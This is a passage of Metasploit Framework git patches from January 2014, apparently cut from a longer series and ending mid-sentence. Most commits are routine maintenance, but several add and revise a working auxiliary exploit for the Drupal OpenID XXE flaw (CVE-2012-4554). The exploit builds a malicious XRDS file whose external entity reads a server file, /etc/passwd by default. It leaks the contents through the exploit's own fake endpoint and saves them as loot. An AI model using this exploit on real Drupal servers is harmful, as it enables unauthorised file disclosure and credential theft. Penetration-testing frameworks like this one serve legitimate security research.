7d663c7a44..465a4aa556 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary }) if (res and (m = res.headers['Server'].match(/Boa\/(.*)/))) - print_status("#{peer} - Boa Version Detected: #{m[1]}") + vprint_status("#{peer} - Boa Version Detected: #{m[1]}") return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version return Exploit::CheckCode::Safe if (m[1][3].ord-48>4) return Exploit::CheckCode::Vulnerable else - print_status("#{peer} - Not a Boa Server!") + vprint_status("#{peer} - Not a Boa Server!") return Exploit::CheckCode::Safe # not a boa server end From 7faa41dac0b8880d0a1adaece41b31b640df91c4 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 15:36:19 -0600 Subject: [PATCH 060/246] Change Unknown to Safe because it's just a banner check --- modules/auxiliary/admin/scada/modicon_password_recovery.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index 261d2cf746..1b953fc3f0 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -76,7 +76,6 @@ class Metasploit3 < Msf::Auxiliary return Exploit::CheckCode::Detected else vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" - Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe From 72b72effa66c95905b47574605552fde21934388 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 18:04:31 -0600 Subject: [PATCH 061/246] Add module for CVE-2012-4554 --- modules/auxiliary/gather/drupal_openid_xxe.rb | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 modules/auxiliary/gather/drupal_openid_xxe.rb diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb new file mode 100644 index 0000000000..2e25078221 --- /dev/null +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Drupal OpenID External Entity Injection', + 'Description' => %q{ + This module abuses a XML External Entity Injection on the OpenID module + from Drupal. The vulnerability exists on the parsing of a malformed XRDS + file coming from a malicious OpenID endpoint. This module has been tested + successfully on Drupal 7.15 with the OpenID module enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Reginaldo Silva', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-4554' ], + [ 'OSVDB', '86429' ], + [ 'BID', '56103' ], + [ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ], + [ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ] + ], + 'DisclosureDate' => 'Oct 17 2012' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]) + ], self.class) + + end + + def xrds_file + xrds = <<-EOF +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE foo [ +<!ELEMENT URI ANY> +<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}"> +]> +<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)" xmlns:openid="http://openid.net/xmlns/1.0"> +<XRD> + <Status cid="verified"/> + <ProviderID>xri://@</ProviderID> + <CanonicalID>http://example.com/user</CanonicalID> + <Service> + <Type>http://specs.openid.net/auth/2.0/signon</Type> + <Type>http://openid.net/srv/ax/1.0</Type> + <URI>#{get_uri}/#{@prefix}/&xxe;/#{@suffix}</URI> + <LocalID>http://example.com/xrds</LocalID> + </Service> +</XRD> +</xrds:XRDS> +EOF + return xrds + end + + # priority="10"> + + def primer + res = send_openid_auth + + if res.nil? + # nothing to do here... + service.stop + return + end + + unless res.code == 500 + print_warning("#{peer} - Unexpected answer, trying to parse anyway...") + end + + error_loot = parse_loot(res.body) + + # Check if file was retrieved on the drupal answer + # Better results, because there isn't URL encoding, + # plus probably allows to retrieve longer files. + unless error_loot.blank? + print_status("#{peer} - File found on the Drupal answer") + store(error_loot) + service.stop + return + end + + # Check if file was leaked to the fake OpenID endpoint + # Contents are probably URL encoded, plus probably long + # files aren't full, but something is something :-) + unless @loot.blank? + print_status("#{peer} - File contents leaked through the OpenID request") + store(@loot) + service.stop + return + end + + # Nothing :( just stop the service + # so the auxiliary module stops + service.stop + end + + def run + @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) + @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) + exploit + end + + def on_request_uri(cli, request) + if request.uri =~ /#{@prefix}/ + vprint_status("Signature found, parsing file...") + @loot = parse_loot(request.uri) + return + end + + print_status("Sending XRDS...") + send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' }) + end + + def send_openid_auth + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.to_s, "/"), + 'method' => 'POST', + 'vars_get' => { + "q" => "node", + "destination" => "node" + }, + 'vars_post' => { + "openid_identifier" => "#{get_uri}", + "name" => "", + "pass" => "", + "form_id" => "user_login_block", + "op" => "Log in" + } + }) + + return res + end + + def store(data) + path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH']) + print_good("#{peer} - File saved to path: #{path}") + end + + def parse_loot(data) + return nil if data.blank? + + # Full file found + if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m + return $1 + end + + # Partial file found + if data =~ /#{@prefix}\/(.*)/m + return $1 + end + + return nil + end + +end + From 6d0d7eda10ca8cf92de1642b02025aab6a8020f3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 18:09:05 -0600 Subject: [PATCH 062/246] Delete garbage comment --- modules/auxiliary/gather/drupal_openid_xxe.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 2e25078221..ec502d52af 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -70,8 +70,6 @@ EOF return xrds end - # priority="10"> - def primer res = send_openid_auth From b0deb45fad49791bf775dea90dc8a08349c53c2a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 18:10:57 -0600 Subject: [PATCH 063/246] Add Drupal advisory as reference --- modules/auxiliary/gather/drupal_openid_xxe.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index ec502d52af..c26f557adc 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2012-4554' ], [ 'OSVDB', '86429' ], [ 'BID', '56103' ], + [ 'URL', 'https://drupal.org/node/1815912' ], [ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ], [ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ] ], From 5880f7ebf21f07622047dfb84a5878c851f7fa20 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Fri, 24 Jan 2014 00:25:03 +0000 Subject: [PATCH 064/246] Remove max search --- modules/post/windows/gather/enum_ad_user_comments.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index d68ffb0e1c..9217fdfcc4 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -29,7 +29,6 @@ class Metasploit3 < Msf::Post )) register_options([ - OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 50]), OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), OptString.new('FIELDS', [true, 'Fields to retrieve.','sAMAccountName,userAccountControl,comment,description']), OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']), From 8e17d38c770adab36ab88ee58f016841199f88f8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 18:30:18 -0600 Subject: [PATCH 065/246] Add check method --- modules/auxiliary/gather/drupal_openid_xxe.rb | 32 +++++++++++++++++-- 1 file changed, 29 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index c26f557adc..805e3bafef 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -72,7 +72,7 @@ EOF end def primer - res = send_openid_auth + res = send_openid_auth(get_uri) if res.nil? # nothing to do here... @@ -111,6 +111,32 @@ EOF service.stop end + def check + signature = Rex::Text.rand_text_alpha(5 + rand(5)) + res = send_openid_auth(signature) + + unless res + return Exploit::CheckCode::Unknown + end + + if res.code == 200 and res.body =~ /openid_identifier.*#{signature}/ + return Exploit::CheckCode::Detected + end + + if generated_with_drupal?(res) + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Unknown + end + + def generated_with_drupal?(http_response) + return false if http_response.blank? + return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ + return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ + return false + end + def run @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) @@ -128,7 +154,7 @@ EOF send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' }) end - def send_openid_auth + def send_openid_auth(identifier) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "/"), 'method' => 'POST', @@ -137,7 +163,7 @@ EOF "destination" => "node" }, 'vars_post' => { - "openid_identifier" => "#{get_uri}", + "openid_identifier" => identifier, "name" => "", "pass" => "", "form_id" => "user_login_block", From f529eb1d4bcf4d2ef665b1be847ac0aa8ae33757 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 18:51:24 -0600 Subject: [PATCH 066/246] Clean code --- modules/auxiliary/gather/drupal_openid_xxe.rb | 104 +++++++++--------- 1 file changed, 55 insertions(+), 49 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 805e3bafef..31179e32ef 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -71,6 +71,31 @@ EOF return xrds end + def check + signature = Rex::Text.rand_text_alpha(5 + rand(5)) + res = send_openid_auth(signature) + + unless res + return Exploit::CheckCode::Unknown + end + + if drupal_with_openid?(res, signature) + return Exploit::CheckCode::Detected + end + + if generated_with_drupal?(res) + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Unknown + end + + def run + @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) + @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) + exploit + end + def primer res = send_openid_auth(get_uri) @@ -89,64 +114,24 @@ EOF # Check if file was retrieved on the drupal answer # Better results, because there isn't URL encoding, # plus probably allows to retrieve longer files. - unless error_loot.blank? - print_status("#{peer} - File found on the Drupal answer") - store(error_loot) - service.stop - return + print_status("#{peer} - Searching loot on the Drupal answer...") + unless loot?(error_loot) + # Check if file was leaked to the fake OpenID endpoint + # Contents are probably URL encoded, plus probably long + # files aren't full, but something is something :-) + print_status("#{peer} - Searching loot on HTTP query...") + loot?(@http_loot) end - # Check if file was leaked to the fake OpenID endpoint - # Contents are probably URL encoded, plus probably long - # files aren't full, but something is something :-) - unless @loot.blank? - print_status("#{peer} - File contents leaked through the OpenID request") - store(@loot) - service.stop - return - end - - # Nothing :( just stop the service - # so the auxiliary module stops + # stop the service so the auxiliary module ends service.stop end - def check - signature = Rex::Text.rand_text_alpha(5 + rand(5)) - res = send_openid_auth(signature) - - unless res - return Exploit::CheckCode::Unknown - end - - if res.code == 200 and res.body =~ /openid_identifier.*#{signature}/ - return Exploit::CheckCode::Detected - end - - if generated_with_drupal?(res) - return Exploit::CheckCode::Safe - end - - return Exploit::CheckCode::Unknown - end - - def generated_with_drupal?(http_response) - return false if http_response.blank? - return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ - return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ - return false - end - - def run - @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) - @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) - exploit - end def on_request_uri(cli, request) if request.uri =~ /#{@prefix}/ vprint_status("Signature found, parsing file...") - @loot = parse_loot(request.uri) + @http_loot = parse_loot(request.uri) return end @@ -195,5 +180,26 @@ EOF return nil end + def loot?(data) + return false if data.blank? + store(data) + return true + end + + def drupal_with_openid?(http_response, signature) + return false if http_response.blank? + return false unless http_response.code == 200 + return false unless http_response.body =~ /openid_identifier.*#{signature}/ + return true + end + + def generated_with_drupal?(http_response) + return false if http_response.blank? + return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ + return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ + return false + end + + end From 5a59e3d4e481d2a8657772de359fecd74d9b0218 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 18:53:58 -0600 Subject: [PATCH 067/246] Fix typo --- modules/auxiliary/gather/drupal_openid_xxe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 31179e32ef..5befafbf02 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary This module abuses a XML External Entity Injection on the OpenID module from Drupal. The vulnerability exists on the parsing of a malformed XRDS file coming from a malicious OpenID endpoint. This module has been tested - successfully on Drupal 7.15 with the OpenID module enabled. + successfully in Drupal 7.15 with the OpenID module enabled. }, 'License' => MSF_LICENSE, 'Author' => From a67068f019cdcbc2c4e5a104cc5a7cf2768e306a Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 23 Jan 2014 19:02:43 -0600 Subject: [PATCH 068/246] Correct author name Was using the name quoted in Redmine. Technically, the author is Myo Soe of the YGN Ethical Hacker Group (YEHG). --- modules/auxiliary/scanner/printer/printer_download_file.rb | 2 +- modules/auxiliary/scanner/printer/printer_env_vars.rb | 2 +- modules/auxiliary/scanner/printer/printer_list_dir.rb | 2 +- modules/auxiliary/scanner/printer/printer_list_volumes.rb | 2 +- modules/auxiliary/scanner/printer/printer_ready_message.rb | 2 +- modules/auxiliary/scanner/printer/printer_version_info.rb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 4406bea774..8e55ac222a 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Auxiliary "wvu", # This implementation "sinn3r", # RSpec tests "MC", # Independent implementation - "YGN" # Independent implementation + "Myo Soe" # Independent implementation ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb index e4e6f431cf..671367b49a 100644 --- a/modules/auxiliary/scanner/printer/printer_env_vars.rb +++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Auxiliary "wvu", # This implementation "sinn3r", # RSpec tests "MC", # Independent implementation - "YGN" # Independent implementation + "Myo Soe" # Independent implementation ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index c4f95a9b40..302f70f2a8 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Auxiliary "wvu", # This implementation "sinn3r", # RSpec tests "MC", # Independent implementation - "YGN" # Independent implementation + "Myo Soe" # Independent implementation ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index 2cac613ced..8ea2e4bd4c 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Auxiliary "wvu", # This implementation "sinn3r", # RSpec tests "MC", # Independent implementation - "YGN" # Independent implementation + "Myo Soe" # Independent implementation ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index c7b94648c0..0b1a80dfe7 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Auxiliary "wvu", # This implementation "sinn3r", # RSpec tests "MC", # Independent implementation - "YGN" # Independent implementation + "Myo Soe" # Independent implementation ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index 09b096c09b..a085c0aee8 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Auxiliary "wvu", # This implementation "sinn3r", # RSpec tests "MC", # Independent implementation - "YGN" # Independent implementation + "Myo Soe" # Independent implementation ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] From 43de7eb74f4d595b3b160316413fde27f7d7b25c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 19:32:42 -0600 Subject: [PATCH 069/246] Use REXML --- modules/auxiliary/gather/drupal_openid_xxe.rb | 66 +++++++++++++------ 1 file changed, 46 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 5befafbf02..5b0925d5b7 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML + include REXML def initialize(info = {}) super(update_info(info, @@ -19,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary This module abuses a XML External Entity Injection on the OpenID module from Drupal. The vulnerability exists on the parsing of a malformed XRDS file coming from a malicious OpenID endpoint. This module has been tested - successfully in Drupal 7.15 with the OpenID module enabled. + successfully in Drupal 7.15 and 7.2 with the OpenID module enabled. }, 'License' => MSF_LICENSE, 'Author' => @@ -48,27 +49,52 @@ class Metasploit3 < Msf::Auxiliary end def xrds_file - xrds = <<-EOF -<?xml version="1.0" encoding="UTF-8"?> -<!DOCTYPE foo [ + element_entity = <<-EOF <!ELEMENT URI ANY> <!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}"> -]> -<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)" xmlns:openid="http://openid.net/xmlns/1.0"> -<XRD> - <Status cid="verified"/> - <ProviderID>xri://@</ProviderID> - <CanonicalID>http://example.com/user</CanonicalID> - <Service> - <Type>http://specs.openid.net/auth/2.0/signon</Type> - <Type>http://openid.net/srv/ax/1.0</Type> - <URI>#{get_uri}/#{@prefix}/&xxe;/#{@suffix}</URI> - <LocalID>http://example.com/xrds</LocalID> - </Service> -</XRD> -</xrds:XRDS> -EOF - return xrds + EOF + + xml = Document.new + + xml.add(DocType.new('foo', "[ #{element_entity} ]")) + + xml.add_element( + "xrds:XRDS", + { + 'xmlns:xrds' => "xri://$xrds", + 'xmlns' => "xri://$xrd*($v*2.0)", + 'xmlns:openid' => "http://openid.net/xmlns/1.0", + }) + + xrd = xml.root.add_element("XRD") + + xrd.add_element( + "Status", + { + "cid" => "verified" + } + ) + provider = xrd.add_element("ProviderID") + provider.text = "xri://@" + + canonical = xrd.add_element("CanonicalID") + canonical.text = "http://example.com/user" + + service = xrd.add_element("Service") + + type_one = service.add_element("Type") + type_one.text = "http://specs.openid.net/auth/2.0/signon" + + type_two = service.add_element("Type") + type_two.text = "http://openid.net/srv/ax/1.0" + + uri = service.add_element("URI") + uri.text = "METASPLOIT" + + local_id = service.add_element("LocalID") + local_id.text = "http://example.com/xrds" + + return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding end def check From cf17bf2e72a75647dd4028d29771bbec96762739 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 23 Jan 2014 19:34:50 -0600 Subject: [PATCH 070/246] Small fix --- modules/auxiliary/gather/drupal_openid_xxe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 5b0925d5b7..37d33db759 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Auxiliary def store(data) path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH']) - print_good("#{peer} - File saved to path: #{path}") + print_good("#{peer} - File found and saved to path: #{path}") end def parse_loot(data) From 3c8d82e36310bf861c106118b0e47d59035b5b13 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 21:12:59 -0600 Subject: [PATCH 071/246] Ensure the rhost datastore option is restored --- lib/msf/ui/console/module_command_dispatcher.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index fed969daf4..1861d3e1e5 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -51,13 +51,15 @@ module ModuleCommandDispatcher else # Check a range last_rhost_opt = mod.rhost - hosts.each do |ip| - mod.datastore['RHOST'] = ip - check_simple + begin + hosts.each do |ip| + mod.datastore['RHOST'] = ip + check_simple + end + ensure + # Restore the original rhost if set + mod.datastore['RHOST'] = last_rhost_opt end - - # Restore the original rhost if set - mod.datastore['RHOST'] = last_rhost_opt end end From dc52d00be62111e525be5068169ee0a477c077e8 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 21:27:36 -0600 Subject: [PATCH 072/246] Modify vmware_http_login to work with check --- .../scanner/vmware/vmware_http_login.rb | 25 +++++++++++-------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 6bcdfb08ee..ab4d608a63 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - return unless is_vmware? + return unless check == Exploit::CheckCode::Detected each_user_pass { |user, pass| result = vim_do_login(user, pass) case result @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary # Mostly taken from the Apache Tomcat service validator - def is_vmware? + def check soap_data = %Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> @@ -81,23 +81,26 @@ class Metasploit3 < Msf::Auxiliary }, 25) if res - fingerprint_vmware(res) + return Exploit::CheckCode::Detected if fingerprint_vmware(res) else - vprint_error("#{rhost}:#{rport} Error: no response") + vprint_error("Error: no response") + return Exploit::CheckCode::Unknown end rescue ::Rex::ConnectionError => e - vprint_error("#{rhost}:#{rport} Error: could not connect") - return false + vprint_error("Error: could not connect") + return Exploit::CheckCode::Unknown rescue - vprint_error("#{rhost}:#{rport} Error: #{e}") - return false + vprint_error("Error: #{e}") + return Exploit::CheckCode::Unknown end + + return Exploit::CheckCode::Safe end def fingerprint_vmware(res) unless res - vprint_error("#{rhost}:#{rport} Error: no response") + vprint_error("Error: no response") return false end return false unless res.body.include?('<vendor>VMware, Inc.</vendor>') @@ -108,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/) if full_match - print_good "#{rhost}:#{rport} - Identified #{full_match[1]}" + vprint_good "Identified #{full_match[1]}" report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1]) end @@ -118,7 +121,7 @@ class Metasploit3 < Msf::Auxiliary end return true else - vprint_error("#{rhost}:#{rport} Error: Could not identify as VMWare") + vprint_error("Error: Could not identify as VMWare") return false end From 9ba72ffc713b3703a2ce59c96fb2ae7c086d7e6c Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 21:30:11 -0600 Subject: [PATCH 073/246] Remove check support Actually, you can't support check because in check mode the module doesn't know the IP --- .../scanner/vmware/vmware_http_login.rb | 25 ++++++++----------- 1 file changed, 11 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index ab4d608a63..6bcdfb08ee 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - return unless check == Exploit::CheckCode::Detected + return unless is_vmware? each_user_pass { |user, pass| result = vim_do_login(user, pass) case result @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary # Mostly taken from the Apache Tomcat service validator - def check + def is_vmware? soap_data = %Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> @@ -81,26 +81,23 @@ class Metasploit3 < Msf::Auxiliary }, 25) if res - return Exploit::CheckCode::Detected if fingerprint_vmware(res) + fingerprint_vmware(res) else - vprint_error("Error: no response") - return Exploit::CheckCode::Unknown + vprint_error("#{rhost}:#{rport} Error: no response") end rescue ::Rex::ConnectionError => e - vprint_error("Error: could not connect") - return Exploit::CheckCode::Unknown + vprint_error("#{rhost}:#{rport} Error: could not connect") + return false rescue - vprint_error("Error: #{e}") - return Exploit::CheckCode::Unknown + vprint_error("#{rhost}:#{rport} Error: #{e}") + return false end - - return Exploit::CheckCode::Safe end def fingerprint_vmware(res) unless res - vprint_error("Error: no response") + vprint_error("#{rhost}:#{rport} Error: no response") return false end return false unless res.body.include?('<vendor>VMware, Inc.</vendor>') @@ -111,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/) if full_match - vprint_good "Identified #{full_match[1]}" + print_good "#{rhost}:#{rport} - Identified #{full_match[1]}" report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1]) end @@ -121,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary end return true else - vprint_error("Error: Could not identify as VMWare") + vprint_error("#{rhost}:#{rport} Error: Could not identify as VMWare") return false end From cb33de24e4cfd410c80e7cca7cac5f232168796a Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 22:40:34 -0600 Subject: [PATCH 074/246] [FixRM #8749] - Make spawn_meterpreter respect lport/lhost options [FixRM #8749] Basically the spawn_meterpreter script doesn't actually allow the user to set their own LHOST/LPORT datastore options, because they come from the session object, not from the active module or the framework object. The fix is to allow the user to config them from framework. But if they forget to do this (because naturally people probably assume that active module datastore options are the same as the ones set in framework), then for LHOST, we default 